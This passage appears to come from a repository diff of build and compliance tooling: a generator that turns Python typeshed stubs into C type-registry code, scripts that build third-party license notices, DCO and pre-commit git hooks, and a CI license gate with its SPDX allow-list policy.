signature, ParamSpec/TypeVarTuple/Concatenate are skipped, version
guards `if sys.version_info >= (X, Y):` are flattened (we take the
union of all branches). Per-symbol min/max version guards from the
plan are recorded as comments only in v1; py_lsp consumers should
treat the generator output as the 3.12 baseline.
Usage:
python3.9 scripts/gen-py-stdlib.py <typeshed-stdlib-path> <output.c>
Defaults to /tmp/python-lsp-references/typeshed/stdlib and
internal/cbm/lsp/generated/python_stdlib_data.c when run without args.
"""
from __future__ import annotations
import argparse
import ast
import dataclasses
import os
import sys
from pathlib import Path
from typing import Iterable
# v1 module allowlist — the plan's "top usage" set. Skip large / low-value
# modules (tkinter, turtle, curses, xml.*, email.*) to keep generated
# output manageable.
ALLOWED_MODULES = {
"builtins",
"typing",
"typing_extensions",
"os",
"sys",
"collections",
"functools",
"itertools",
"pathlib",
"json",
"re",
"dataclasses",
"enum",
"datetime",
"subprocess",
"logging",
"asyncio",
"unittest",
"argparse",
"contextlib",
"io",
"tempfile",
"shutil",
"inspect",
"abc",
"warnings",
"weakref",
"copy",
"pickle",
"time",
"math",
"string",
"socket",
"threading",
"multiprocessing",
"queue",
"urllib",
"http",
"concurrent",
}
@dataclasses.dataclass
class StubMethod:
name: str
@dataclasses.dataclass
class StubClass:
qualified_name: str
short_name: str
methods: list[str]
bases: list[str]
@dataclasses.dataclass
class StubFunction:
qualified_name: str
short_name: str
module_qn: str
@dataclasses.dataclass
class ModuleStubs:
module_qn: str
classes: list[StubClass]
functions: list[StubFunction]
def is_method(node: ast.AST) -> bool:
return isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef))
def class_methods(class_node: ast.ClassDef) -> list[str]:
seen: set[str] = set()
out: list[str] = []
for child in class_node.body:
if is_method(child):
name = child.name # type: ignore[attr-defined]
if not name.startswith("_") or name in {"__init__", "__call__", "__enter__", "__exit__"}:
if name not in seen:
seen.add(name)
out.append(name)
elif isinstance(child, ast.If):
# Flatten version guards: walk both branches.
for sub in child.body + child.orelse:
if is_method(sub):
name = sub.name # type: ignore[attr-defined]
if name not in seen:
seen.add(name)
out.append(name)
return out
def base_qns(class_node: ast.ClassDef, module_qn: str) -> list[str]:
out: list[str] = []
for base in class_node.bases:
if isinstance(base, ast.Name):
# Bare name — qualify within the same module by default.
out.append(f"{module_qn}.{base.id}")
elif isinstance(base, ast.Attribute):
# mod.SubClass
try:
text = ast.unparse(base) # type: ignore[attr-defined]
except Exception:
continue
out.append(text)
return out
@dataclasses.dataclass
class StarReExport:
target_module: str # e.g. "posixpath" / "ntpath"
def parse_module(path: Path, module_qn: str) -> tuple[ModuleStubs, list[StarReExport]]:
src = path.read_text(encoding="utf-8", errors="replace")
try:
tree = ast.parse(src)
except SyntaxError:
return ModuleStubs(module_qn=module_qn, classes=[], functions=[]), []
classes: list[StubClass] = []
functions: list[StubFunction] = []
star_imports: list[StarReExport] = []
seen_funcs: set[str] = set()
def walk(body: list[ast.stmt], current_module_qn: str) -> None:
for node in body:
if isinstance(node, ast.ClassDef):
qn = f"{current_module_qn}.{node.name}"
classes.append(StubClass(
qualified_name=qn,
short_name=node.name,
methods=class_methods(node),
bases=base_qns(node, current_module_qn),
))
elif is_method(node):
name = node.name # type: ignore[attr-defined]
if name.startswith("_") and name not in {"__init__"}:
continue
if name in seen_funcs:
continue
seen_funcs.add(name)
functions.append(StubFunction(
qualified_name=f"{current_module_qn}.{name}",
short_name=name,
module_qn=current_module_qn,
))
elif isinstance(node, ast.ImportFrom):
# Track `from X import *` for re-export resolution.
if node.module and any(alias.name == "*" for alias in node.names):
star_imports.append(StarReExport(target_module=node.module))
elif isinstance(node, ast.If):
# Flatten version guards.
walk(node.body, current_module_qn)
walk(node.orelse, current_module_qn)
walk(tree.body, module_qn)
return ModuleStubs(module_qn=module_qn, classes=classes, functions=functions), star_imports
def collect_all_stubs(stdlib_root: Path) -> tuple[dict[str, ModuleStubs], dict[str, list[StarReExport]]]:
"""Gather every stub in the allowlist plus any re-export targets they
pull in transitively (e.g. os.path -> posixpath -> genericpath).
Returns (modules, star_imports_per_module). """
modules: dict[str, ModuleStubs] = {}
star_imports: dict[str, list[StarReExport]] = {}
# First pass: walk allowlist
queue: list[tuple[Path, str]] = []
for path in sorted(stdlib_root.rglob("*.pyi")):
rel = path.relative_to(stdlib_root)
parts = list(rel.parts)
if parts[-1] == "__init__.pyi":
parts.pop()
else:
parts[-1] = parts[-1][:-len(".pyi")]
if not parts:
continue
top = parts[0]
if top.startswith("_"):
continue
if top not in ALLOWED_MODULES:
continue
module_qn = ".".join(parts)
queue.append((path, module_qn))
seen_targets: set[str] = set()
while queue:
path, mod_qn = queue.pop()
if mod_qn in modules:
continue
ms, stars = parse_module(path, mod_qn)
modules[mod_qn] = ms
star_imports[mod_qn] = stars
# Enqueue re-export targets (e.g. posixpath, ntpath, genericpath)
for star in stars:
tgt = star.target_module
if tgt in seen_targets:
continue
seen_targets.add(tgt)
tgt_path = stdlib_root / (tgt.replace(".", "/") + ".pyi")
if tgt_path.is_file():
queue.append((tgt_path, tgt))
else:
tgt_init = stdlib_root / tgt.replace(".", "/") / "__init__.pyi"
if tgt_init.is_file():
queue.append((tgt_init, tgt))
return modules, star_imports
def resolve_reexports(modules: dict[str, ModuleStubs],
star_imports: dict[str, list[StarReExport]]) -> None:
"""For each module with `from X import *`, copy X's classes/functions
into the current module under that module's QN. Iterates to a fixed
point to handle re-export chains. """
changed = True
iter_count = 0
while changed and iter_count < 8:
changed = False
iter_count += 1
for mod_qn, stars in star_imports.items():
ms = modules[mod_qn]
for star in stars:
target = modules.get(star.target_module)
if not target:
continue
# Copy target's classes/functions under mod_qn
existing_class_names = {c.short_name for c in ms.classes}
existing_func_names = {f.short_name for f in ms.functions}
for c in target.classes:
if c.short_name in existing_class_names:
continue
ms.classes.append(StubClass(
qualified_name=f"{mod_qn}.{c.short_name}",
short_name=c.short_name,
methods=list(c.methods),
bases=list(c.bases),
))
existing_class_names.add(c.short_name)
changed = True
for f in target.functions:
if f.short_name in existing_func_names:
continue
ms.functions.append(StubFunction(
qualified_name=f"{mod_qn}.{f.short_name}",
short_name=f.short_name,
module_qn=mod_qn,
))
existing_func_names.add(f.short_name)
changed = True
def iter_module_stubs(stdlib_root: Path) -> Iterable[ModuleStubs]:
modules, star_imports = collect_all_stubs(stdlib_root)
resolve_reexports(modules, star_imports)
for mod_qn in sorted(modules.keys()):
yield modules[mod_qn]
C_HEADER = """\
// AUTO-GENERATED by scripts/gen-py-stdlib.py — DO NOT EDIT
// Python stdlib type information for LSP type resolver.
//
// Source: typeshed commit a7912d521e16ff63caf7a8b64b9072542be36777
// Module allowlist: see ALLOWED_MODULES in scripts/gen-py-stdlib.py
//
// v1 simplifications (per PYTHON_LSP_PLAN.md Phase 10):
// - overload stacks collapse to first signature
// - ParamSpec / TypeVarTuple / Concatenate skipped
// - version guards flattened (union of all branches)
// - per-symbol min/max version guards not yet emitted
#include "../type_rep.h"
#include "../type_registry.h"
#include <string.h>
#define CBM_PYTHON_STDLIB_GENERATED 1
void cbm_python_stdlib_register(CBMTypeRegistry* reg, CBMArena* arena) {
if (!reg || !arena) return;
CBMRegisteredType rt;
CBMRegisteredFunc rf;
"""
C_FOOTER = """\
}
"""
def c_escape(s: str) -> str:
return s.replace("\\", "\\\\").replace("\"", "\\\"")
def emit(stubs: list[ModuleStubs], output_path: Path) -> None:
method_table_id = 0
out_lines: list[str] = []
for ms in stubs:
if not ms.classes and not ms.functions:
continue
out_lines.append(f"\n /* ===== module: {ms.module_qn} ===== */\n")
for cls in ms.classes:
method_array_name = None
if cls.methods:
method_table_id += 1
method_array_name = f"py_methods_{method_table_id}"
methods_c = ", ".join(f"\"{c_escape(m)}\"" for m in cls.methods)
out_lines.append(
f" static const char* {method_array_name}[] = {{ {methods_c}, NULL }};\n"
)
out_lines.append(" memset(&rt, 0, sizeof(rt));\n")
out_lines.append(
f" rt.qualified_name = \"{c_escape(cls.qualified_name)}\";\n"
)
out_lines.append(
f" rt.short_name = \"{c_escape(cls.short_name)}\";\n"
)
if method_array_name:
out_lines.append(f" rt.method_names = {method_array_name};\n")
if cls.bases:
method_table_id += 1
bases_array = f"py_bases_{method_table_id}"
bases_c = ", ".join(f"\"{c_escape(b)}\"" for b in cls.bases)
out_lines.append(
f" static const char* {bases_array}[] = {{ {bases_c}, NULL }};\n"
)
out_lines.append(f" rt.embedded_types = {bases_array};\n")
out_lines.append(" cbm_registry_add_type(reg, rt);\n")
# Also emit a registered method per class.method so registry
# lookup_method(class_qn, name) works.
for m in cls.methods:
out_lines.append(" memset(&rf, 0, sizeof(rf));\n")
out_lines.append(
f" rf.qualified_name = \"{c_escape(cls.qualified_name)}.{c_escape(m)}\";\n"
)
out_lines.append(f" rf.short_name = \"{c_escape(m)}\";\n")
out_lines.append(
f" rf.receiver_type = \"{c_escape(cls.qualified_name)}\";\n"
)
out_lines.append(" cbm_registry_add_func(reg, rf);\n")
for fn in ms.functions:
out_lines.append(" memset(&rf, 0, sizeof(rf));\n")
out_lines.append(
f" rf.qualified_name = \"{c_escape(fn.qualified_name)}\";\n"
)
out_lines.append(f" rf.short_name = \"{c_escape(fn.short_name)}\";\n")
out_lines.append(" cbm_registry_add_func(reg, rf);\n")
output_path.write_text(C_HEADER + "".join(out_lines) + C_FOOTER, encoding="utf-8")
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument(
"stdlib_root",
nargs="?",
default="/tmp/python-lsp-references/typeshed/stdlib",
)
parser.add_argument(
"output",
nargs="?",
default="internal/cbm/lsp/generated/python_stdlib_data.c",
)
args = parser.parse_args()
root = Path(args.stdlib_root).resolve()
if not root.is_dir():
print(f"error: {root} is not a directory", file=sys.stderr)
return 1
stubs = list(iter_module_stubs(root))
out_path = Path(args.output).resolve()
out_path.parent.mkdir(parents=True, exist_ok=True)
emit(stubs, out_path)
n_classes = sum(len(s.classes) for s in stubs)
n_methods = sum(sum(len(c.methods) for c in s.classes) for s in stubs)
n_funcs = sum(len(s.functions) for s in stubs)
print(
f"wrote {out_path}: {len(stubs)} modules, "
f"{n_classes} classes ({n_methods} methods), {n_funcs} free functions"
)
return 0
if __name__ == "__main__":
sys.exit(main())
+57
View File
@@ -0,0 +1,57 @@
#!/usr/bin/env bash
set -euo pipefail
# Generates the third-party notices bundle shipped inside every release
# archive: THIRD_PARTY.md + the grammar provenance manifest + the verbatim
# license/notice text of every vendored component (both vendored trees).
# Deterministic output (sorted file order).
#
# Usage: scripts/gen-third-party-notices.sh [output-path]
# default output: build/THIRD_PARTY_NOTICES.md
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
OUT="${1:-$ROOT/build/THIRD_PARTY_NOTICES.md}"
mkdir -p "$(dirname "$OUT")"
{
echo "# Third-Party Notices"
echo
echo "This file accompanies the codebase-memory-mcp binary distribution."
echo "It aggregates THIRD_PARTY.md, the vendored grammar provenance"
echo "manifest, and the verbatim license / notice texts of every vendored"
echo "component, satisfying binary-redistribution notice requirements"
echo "(MIT, BSD, Apache-2.0)."
echo
echo "---"
echo
cat "$ROOT/THIRD_PARTY.md"
echo
echo "---"
echo
cat "$ROOT/internal/cbm/vendored/grammars/MANIFEST.md"
find "$ROOT/vendored" "$ROOT/internal/cbm/vendored" -type f \
\( -iname 'LICENSE*' -o -iname 'COPYING*' -o -iname 'NOTICE*' -o -iname 'UNLICENSE*' \) \
| LC_ALL=C sort | while IFS= read -r f; do
rel="${f#"$ROOT"/}"
echo
echo "==============================================================="
echo " $rel"
echo "==============================================================="
echo
cat "$f"
done
# With-ui packaging path: node_modules exists (make frontend ran npm ci),
# so append the license texts of the npm packages compiled into the UI
# bundle. Standard binaries carry no bundle — the section is skipped.
if [ -d "$ROOT/graph-ui/node_modules" ]; then
echo
echo "---"
echo
python3 "$ROOT/scripts/gen-ui-licenses.py" "$ROOT/graph-ui"
fi
} > "$OUT"
BYTES=$(wc -c < "$OUT" | tr -d ' ')
echo "wrote $OUT (${BYTES} bytes)"
+113
View File
@@ -0,0 +1,113 @@
#!/usr/bin/env python3
"""Emit a markdown license appendix for the embedded graph-UI bundle.
Usage: gen-ui-licenses.py <graph-ui-dir>
Walks the PRODUCTION dependency tree (npm ls --omit=dev) — the packages
whose code is compiled into the UI bundle — and prints, for each unique
package, its declared license and the verbatim license file text found in
node_modules. Build-time tooling (vite, tailwind, lightningcss, ...) is
excluded: its code does not ship in the bundle.
Called by gen-third-party-notices.sh when node_modules is present (the
with-ui packaging path). Output is deterministic (sorted by name@version).
"""
import json
import os
import subprocess
import sys
def collect(ui_dir, dep_tree, out, excluded):
for name, info in (dep_tree or {}).items():
version = info.get("version")
if not version:
continue # unmet optional peer — not installed, nothing shipped
pkg_dir = os.path.join(ui_dir, "node_modules", *name.split("/"))
try:
with open(os.path.join(pkg_dir, "package.json"), encoding="utf-8") as fh:
meta = json.load(fh)
except (OSError, ValueError):
continue # not physically installed — nothing shipped
# Platform-restricted packages (os/cpu fields) are native build
# tooling (esbuild/rollup/lightningcss/oxide binaries). They cannot
# be part of a browser bundle — exclude them and do not recurse into
# their dependency subtrees (wasm runtime shims etc.).
if meta.get("os") or meta.get("cpu"):
excluded.add((name, version))
continue
out.add((name, version))
collect(ui_dir, info.get("dependencies"), out, excluded)
def license_text(pkg_dir):
if not os.path.isdir(pkg_dir):
return None
for fname in sorted(os.listdir(pkg_dir)):
if fname.upper().startswith(("LICENSE", "LICENCE", "COPYING", "NOTICE")):
try:
with open(os.path.join(pkg_dir, fname), encoding="utf-8", errors="replace") as fh:
return fh.read().strip()
except OSError:
continue
return None
def declared_license(pkg_dir):
try:
with open(os.path.join(pkg_dir, "package.json"), encoding="utf-8") as fh:
d = json.load(fh)
except (OSError, ValueError):
return "UNKNOWN"
lic = d.get("license", "UNKNOWN")
if isinstance(lic, dict):
lic = lic.get("type", "UNKNOWN")
return str(lic)
def main():
ui_dir = sys.argv[1]
# shell=True so the npm shim resolves on every platform (npm.cmd on
# Windows is not found by bare-name exec). Constant command, no injection.
ls = subprocess.run(
"npm ls --omit=dev --all --json",
shell=True, cwd=ui_dir, capture_output=True, text=True, check=False,
)
tree = json.loads(ls.stdout or "{}")
pkgs = set()
excluded = set()
collect(ui_dir, tree.get("dependencies"), pkgs, excluded)
print("## Embedded Graph UI — bundled npm packages")
print()
print("The `-ui` binaries embed a compiled frontend bundle. The packages")
print("below are its production dependency tree; their license texts are")
print("reproduced verbatim from the packages as installed at build time.")
print()
for name, version in sorted(pkgs):
pkg_dir = os.path.join(ui_dir, "node_modules", *name.split("/"))
lic = declared_license(pkg_dir)
text = license_text(pkg_dir)
print(f"### {name}@{version} — {lic}")
print()
if text:
print(text)
else:
print(f"(no license file shipped in the package; declared license: {lic})")
print()
if excluded:
print("### Platform-specific build tooling (not part of the bundle)")
print()
print("Resolved in the dependency tree but excluded above: these are")
print("native per-platform build binaries whose code does not ship in")
print("the browser bundle.")
print()
for name, version in sorted(excluded):
print(f"- {name}@{version}")
print()
if __name__ == "__main__":
main()
+118
View File
@@ -0,0 +1,118 @@
#!/usr/bin/env python3
"""Generate boilerplate code for new tree-sitter language support.
Reads scripts/new-languages.json and generates:
1. Grammar wrapper .c files (written directly)
2. Enum entries for cbm.h
3. Lang spec entries for lang_specs.c (designated initializer + factory)
4. Extension/filename/name entries for language.c
"""
import json
import os
import sys
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
PROJECT_DIR = os.path.dirname(SCRIPT_DIR)
MANIFEST = os.path.join(SCRIPT_DIR, "new-languages.json")
GRAMMAR_DIR = os.path.join(PROJECT_DIR, "internal", "cbm")
def main():
with open(MANIFEST) as f:
langs = json.load(f)
mode = sys.argv[1] if len(sys.argv) > 1 else "all"
if mode in ("all", "wrappers"):
generate_wrappers(langs)
if mode in ("all", "enum"):
generate_enum(langs)
if mode in ("all", "specs"):
generate_specs(langs)
if mode in ("all", "language"):
generate_language_c(langs)
def generate_wrappers(langs):
"""Create grammar_<name>.c wrapper files."""
print("=== Grammar Wrapper Files ===")
created = 0
for lang in langs:
path = os.path.join(GRAMMAR_DIR, f"grammar_{lang['name']}.c")
if os.path.exists(path):
continue
lines = [
f"// Vendored tree-sitter grammar: {lang['name']}",
"// Each grammar compiled as separate unit (conflicting static symbols).",
f"#include \"vendored/grammars/{lang['name']}/parser.c\"",
]
if lang["has_scanner"]:
lines.append(
f"#include \"vendored/grammars/{lang['name']}/scanner.c\""
)
with open(path, "w") as f:
f.write("\n".join(lines) + "\n")
created += 1
print(f" Created {created} wrapper files")
def generate_enum(langs):
"""Print enum entries for cbm.h."""
print("\n=== Enum Entries (paste into cbm.h before CBM_LANG_KUSTOMIZE) ===")
for lang in langs:
print(f" CBM_LANG_{lang['enum']},")
def generate_specs(langs):
"""Print lang spec entries for lang_specs.c."""
print("\n=== Extern Declarations (paste at top of lang_specs.c) ===")
for lang in langs:
print(f"extern const TSLanguage *{lang['ts_func']}(void);")
print("\n=== Module Type Arrays (paste before spec table) ===")
for lang in langs:
arr = f"{lang['name']}_module_types"
print(
f'static const char *{arr}[] = {{"{lang["module_root"]}", NULL}};'
)
print("\n=== Spec Table Entries (paste into lang_specs[]) ===")
for lang in langs:
mod = f"{lang['name']}_module_types"
print(f" // CBM_LANG_{lang['enum']}")
print(
f" [CBM_LANG_{lang['enum']}] = {{CBM_LANG_{lang['enum']}, "
f"empty_types, empty_types, empty_types, {mod}, "
f"empty_types, empty_types, empty_types, empty_types, "
f"empty_types, empty_types, empty_types, NULL, empty_types, "
f"NULL, NULL, {lang['ts_func']}}},"
)
print()
def generate_language_c(langs):
"""Print extension table and name entries for language.c."""
print("\n=== EXT_TABLE Entries (paste into language.c, sorted by ext) ===")
ext_entries = []
for lang in langs:
for ext in lang["extensions"]:
ext_entries.append((ext, lang["enum"], lang["display"]))
for ext, enum, display in sorted(ext_entries, key=lambda x: x[0].lower()):
print(f' /* {display} */')
print(f' {{"{ext}", CBM_LANG_{enum}}},')
print()
print("\n=== FILENAME_TABLE Entries ===")
for lang in langs:
for fn in lang["filenames"]:
print(f' {{"{fn}", CBM_LANG_{lang["enum"]}}},')
print("\n=== LANG_NAMES Entries ===")
for lang in langs:
print(
f' [CBM_LANG_{lang["enum"]}] = "{lang["display"]}",'
)
if __name__ == "__main__":
main()
+18
View File
@@ -0,0 +1,18 @@
#!/bin/sh
# commit-msg hook — STRICT DCO enforcement at commit time.
# Every commit must carry a Signed-off-by trailer (git commit -s).
# Install with: scripts/install-git-hooks.sh
if grep -qE '^Signed-off-by: .+ <.+@.+>' "$1"; then
exit 0
fi
echo "" >&2
echo "COMMIT REJECTED: missing Signed-off-by trailer (Developer Certificate of Origin)." >&2
echo "" >&2
echo " Sign your commit: git commit -s" >&2
echo " Fix the last commit: git commit --amend -s" >&2
echo "" >&2
echo "The sign-off certifies you have the right to submit this code under the" >&2
echo "project's MIT license — see the DCO file and CONTRIBUTING.md." >&2
exit 1
+16
View File
@@ -0,0 +1,16 @@
#!/usr/bin/env bash
set -euo pipefail
# Pre-commit hook: linters + security audit + build + tests.
#
# Activated automatically via scripts/setup.sh or manually:
# git config core.hooksPath scripts/hooks
echo "pre-commit: running all linters in parallel..."
make -j3 -f Makefile.cbm lint
echo "pre-commit: security audit (source-level)..."
scripts/security-audit.sh
echo "pre-commit: building and running tests..."
make -j$(sysctl -n hw.ncpu 2>/dev/null || nproc) -f Makefile.cbm test
+11
View File
@@ -0,0 +1,11 @@
#!/usr/bin/env bash
set -euo pipefail
# Install the repo's git hooks into .git/hooks (local, per-clone).
# Currently: commit-msg (strict DCO sign-off enforcement).
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
HOOKS_DIR="$(git -C "$ROOT" rev-parse --git-path hooks)"
install -m 755 "$ROOT/scripts/git-hooks/commit-msg" "$HOOKS_DIR/commit-msg"
echo "installed: $HOOKS_DIR/commit-msg (DCO sign-off required on every commit)"
+109
View File
@@ -0,0 +1,109 @@
#!/usr/bin/env python3
"""License-gate check for the graph-UI npm production dependency tree.
Usage: license-gate-check-npm.py <graph-ui-dir> <license-policy.json>
Walks the production tree (the packages whose code is compiled into the UI
bundle; platform-restricted native build tooling is excluded the same way
gen-ui-licenses.py excludes it) and fails if ANY package's license is not
on the policy allow-list. Packages with no declared license fall back to
the first line of their shipped license file; if that cannot be resolved
either, the gate fails — unknown is not allowed.
"""
import json
import os
import re
import subprocess
import sys
FILE_HEADER_MAP = {
"mit license": "MIT",
"the mit license": "MIT",
"the mit license (mit)": "MIT",
"apache license": "Apache-2.0",
"isc license": "ISC",
"bsd 2-clause license": "BSD-2-Clause",
"bsd 3-clause license": "BSD-3-Clause",
"the unlicense": "Unlicense",
}
def license_from_file(pkg_dir):
for fname in sorted(os.listdir(pkg_dir)):
if fname.upper().startswith(("LICENSE", "LICENCE", "COPYING", "UNLICENSE")):
try:
with open(os.path.join(pkg_dir, fname), encoding="utf-8",
errors="replace") as fh:
first = fh.readline().strip().lower()
return FILE_HEADER_MAP.get(first)
except OSError:
return None
return None
def collect(ui_dir, dep_tree, out):
for name, info in (dep_tree or {}).items():
version = info.get("version")
if not version:
continue
pkg_dir = os.path.join(ui_dir, "node_modules", *name.split("/"))
try:
with open(os.path.join(pkg_dir, "package.json"), encoding="utf-8") as fh:
meta = json.load(fh)
except (OSError, ValueError):
continue
if meta.get("os") or meta.get("cpu"):
continue # platform-restricted native build tooling, not bundled
lic = meta.get("license", "")
if isinstance(lic, dict):
lic = lic.get("type", "")
out[(name, version)] = (str(lic or ""), pkg_dir)
collect(ui_dir, info.get("dependencies"), out)
def main():
ui_dir, policy_path = sys.argv[1], sys.argv[2]
with open(policy_path) as fh:
policy = json.load(fh)
allowed = {x.lower() for x in policy["allowed_spdx_ids"]}
ignored_pkgs = set(policy.get("ignored_npm_packages", []))
skip_tokens = {"and", "or", "with", ""}
# shell=True so the npm shim resolves on every platform (npm.cmd on
# Windows is not found by bare-name exec). Constant command, no injection.
ls = subprocess.run("npm ls --omit=dev --all --json",
shell=True, cwd=ui_dir, capture_output=True, text=True, check=False)
tree = json.loads(ls.stdout or "{}")
pkgs = {}
collect(ui_dir, tree.get("dependencies"), pkgs)
if not pkgs:
print("FAIL: npm production tree resolved to zero packages — "
"is node_modules installed?")
sys.exit(1)
violations = []
for (name, version), (lic, pkg_dir) in sorted(pkgs.items()):
if name in ignored_pkgs:
continue
if not lic:
lic = license_from_file(pkg_dir) or ""
if not lic:
violations.append((f"{name}@{version}", "no resolvable license"))
continue
for tok in re.split(r"[\s()]+", lic):
if tok.lower() in skip_tokens:
continue
if tok.lower() not in allowed:
violations.append((f"{name}@{version}", lic))
break
if violations:
print("BLOCKED: %d UI package(s) outside the license allow-list:" % len(violations))
for pkg, lic in violations[:25]:
print(f" {pkg}: {lic}")
sys.exit(1)
print(f"OK: {len(pkgs)} bundled npm packages, all allow-listed")
if __name__ == "__main__":
main()
+53
View File
@@ -0,0 +1,53 @@
#!/usr/bin/env python3
"""License-gate policy check over a ScanCode Toolkit JSON scan.
Usage: license-gate-check.py <scan.json> <license-policy.json>
Fails (exit 1) if ANY scanned file carries a detected license expression
containing an SPDX id outside the policy allow-list — one finding is enough.
"""
import json
import re
import sys
def main():
scan_path, policy_path = sys.argv[1], sys.argv[2]
with open(policy_path) as fh:
policy = json.load(fh)
allowed = {x.lower() for x in policy["allowed_spdx_ids"]}
ignored_paths = tuple(policy.get("ignored_paths", []))
skip_tokens = {"and", "or", "with", ""}
with open(scan_path) as fh:
scan = json.load(fh)
violations = []
checked = 0
for f in scan.get("files", []):
path = f.get("path", "?")
if f.get("type") != "file":
continue
if ignored_paths and path.startswith(ignored_paths):
continue
expr = f.get("detected_license_expression_spdx")
if not expr:
continue
checked += 1
for tok in re.split(r"[\s()]+", expr):
if tok.lower() in skip_tokens:
continue
if tok.lower() not in allowed:
violations.append((path, expr, tok))
break
if violations:
print("BLOCKED: %d file(s) with non-allow-listed license detections:" % len(violations))
for path, expr, tok in violations[:25]:
print(" %s: '%s' (offending id: %s)" % (path, expr, tok))
sys.exit(1)
print("OK: %d detection(s), all allow-listed" % checked)
if __name__ == "__main__":
main()
+124
View File
@@ -0,0 +1,124 @@
#!/usr/bin/env bash
set -euo pipefail
# CI license-compliance gate (runs in the security workflow for both dry
# runs and releases). Two layers:
# 1) Structural: every vendored component directory must physically carry
# a license file.
# 2) ScanCode Toolkit license detection over every vendored license text
# and all first-party sources; ONE detection outside
# scripts/license-policy.json fails the gate (see license-gate-check.py).
#
# Grammar parser bodies (generated parser.c, no headers) are excluded from
# the ScanCode pass for runtime; their per-directory license files ARE
# scanned, and layer 1 guarantees each grammar carries one.
#
# Requires: scancode (pipx install scancode-toolkit), python3.
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
cd "$ROOT"
# --selftest: plant a violation and assert the structural layer catches it.
# Run in CI before the real gate so a silently-broken gate cannot pass.
if [ "${1:-}" = "--selftest" ]; then
TESTDIR="$ROOT/vendored/.gate-selftest-$$"
mkdir -p "$TESTDIR"
echo "int x;" > "$TESTDIR/x.c"
# The child gate exits 1 on the planted violation (that is the point) —
# capture its output first so pipefail cannot mask the grep result.
GATE_OUT="$("$0" 2>/dev/null || true)"
rm -rf "$TESTDIR"
if printf '%s' "$GATE_OUT" | grep -q "BLOCKED: vendored code in .*gate-selftest"; then
echo "OK: gate self-test — planted violation was detected"
exit 0
fi
echo "FAIL: gate self-test — planted unlicensed file was NOT detected"
exit 1
fi
echo "=== License gate 1/2: structural coverage ==="
# Rule: every directory under either vendored tree that contains source or
# data files must have a license file in itself or an ancestor directory
# WITHIN the vendored tree. No hardcoded component list — newly vendored
# code with no license is flagged immediately.
MISS=0
has_license_dir() {
ls "$1" 2>/dev/null | grep -qiE '^(LICENSE|LICENCE|COPYING|UNLICENSE|NOTICE)'
}
for root in vendored internal/cbm/vendored; do
find "$root" -type f \
\( -name '*.c' -o -name '*.h' -o -name '*.cpp' -o -name '*.hpp' \
-o -name '*.S' -o -name '*.bin' -o -name '*.txt' \) \
! -iname 'LICENSE*' ! -iname 'COPYING*' ! -iname 'NOTICE*' \
-exec dirname {} \; | LC_ALL=C sort -u | while IFS= read -r d; do
cur="$d"
covered=1
while :; do
if has_license_dir "$cur"; then
covered=0
break
fi
[ "$cur" = "$root" ] && break
cur="$(dirname "$cur")"
done
if [ $covered -ne 0 ]; then
echo "BLOCKED: vendored code in $d has no license file in itself or any ancestor within $root/"
fi
done > /tmp/license-gate-structural.$$
if [ -s /tmp/license-gate-structural.$$ ]; then
cat /tmp/license-gate-structural.$$
MISS=1
fi
rm -f /tmp/license-gate-structural.$$
done
if [ $MISS -ne 0 ]; then
echo "=== LICENSE GATE FAILED (structural) ==="
exit 1
fi
echo "OK: every vendored source directory is covered by a license file"
echo "=== License gate 2/2: ScanCode detection ==="
if ! command -v scancode &>/dev/null; then
echo "FAIL: scancode not installed (pipx install scancode-toolkit)"
exit 1
fi
STAGE="$(mktemp -d)"
trap 'rm -rf "$STAGE"' EXIT
# Inputs: all vendored license/notice texts + all first-party sources.
find vendored internal/cbm/vendored -type f \
\( -iname 'LICENSE*' -o -iname 'COPYING*' -o -iname 'NOTICE*' -o -iname 'UNLICENSE*' \) \
> "$STAGE/files.txt"
find src pkg scripts -type f \
\( -name '*.c' -o -name '*.h' -o -name '*.sh' -o -name '*.js' \
-o -name '*.py' -o -name '*.rb' -o -name '*.toml' -o -name '*.json' \) \
>> "$STAGE/files.txt"
mkdir -p "$STAGE/tree"
tar cf - -T "$STAGE/files.txt" | tar xf - -C "$STAGE/tree"
scancode --license --quiet --processes 2 --json-pp "$STAGE/scan.json" "$STAGE/tree" \
> "$STAGE/scancode.log" 2>&1 || {
echo "FAIL: scancode run failed:"
tail -20 "$STAGE/scancode.log"
exit 1
}
python3 scripts/license-gate-check.py "$STAGE/scan.json" scripts/license-policy.json
echo "=== License gate 3/3: UI npm production tree ==="
# The -ui binaries embed the compiled frontend bundle; its production
# dependency tree must be allow-listed too. --ignore-scripts: no dependency
# postinstall code runs inside the security job.
if command -v npm &>/dev/null && [ -f graph-ui/package-lock.json ]; then
if [ ! -d graph-ui/node_modules ]; then
(cd graph-ui && npm ci --ignore-scripts --silent)
fi
python3 scripts/license-gate-check-npm.py graph-ui scripts/license-policy.json
else
echo "FAIL: npm or graph-ui/package-lock.json unavailable — UI tree unchecked"
exit 1
fi
echo "=== License gate passed ==="
+28
View File
@@ -0,0 +1,28 @@
{
"_comment": "License allow-list for the CI license gate (scripts/license-gate.sh). A single detected SPDX id outside this list fails the pipeline. Additions to this list are deliberate, reviewed changes \u2014 never add copyleft (GPL/LGPL/AGPL/EPL/SSPL) without a maintainer decision.",
"allowed_spdx_ids": [
"MIT",
"MIT-0",
"Apache-2.0",
"BSD-2-Clause",
"BSD-3-Clause",
"0BSD",
"ISC",
"Zlib",
"Unlicense",
"CC0-1.0",
"blessing",
"LLVM-exception",
"LicenseRef-scancode-public-domain",
"LicenseRef-scancode-public-domain-disclaimer"
],
"_ignored_paths_comment": "Path prefixes (relative to the staged scan tree) excluded from the gate. Use ONLY for documented false positives. Justifications: the license tooling itself (gate scripts + this policy file) necessarily names prohibited licenses; gen-third-party-notices.sh echoes license terminology; audit-license-provenance.py names licenses in its verdict maps; src/discover/discover.c contains a license-FILENAME classification list (LICENSE-MIT, LICENSE-APACHE, ...) for file discovery, which ScanCode reads as license references.",
"ignored_paths": [
"tree/scripts/license-policy.json",
"tree/scripts/license-gate-check.py",
"tree/scripts/license-gate.sh",
"tree/scripts/gen-third-party-notices.sh",
"tree/src/discover/discover.c",
"tree/scripts/audit-license-provenance.py"
]
}
+73
View File
@@ -0,0 +1,73 @@
#!/usr/bin/env bash
# lint.sh — Run all linters (clang-tidy + cppcheck + clang-format).
#
# Usage:
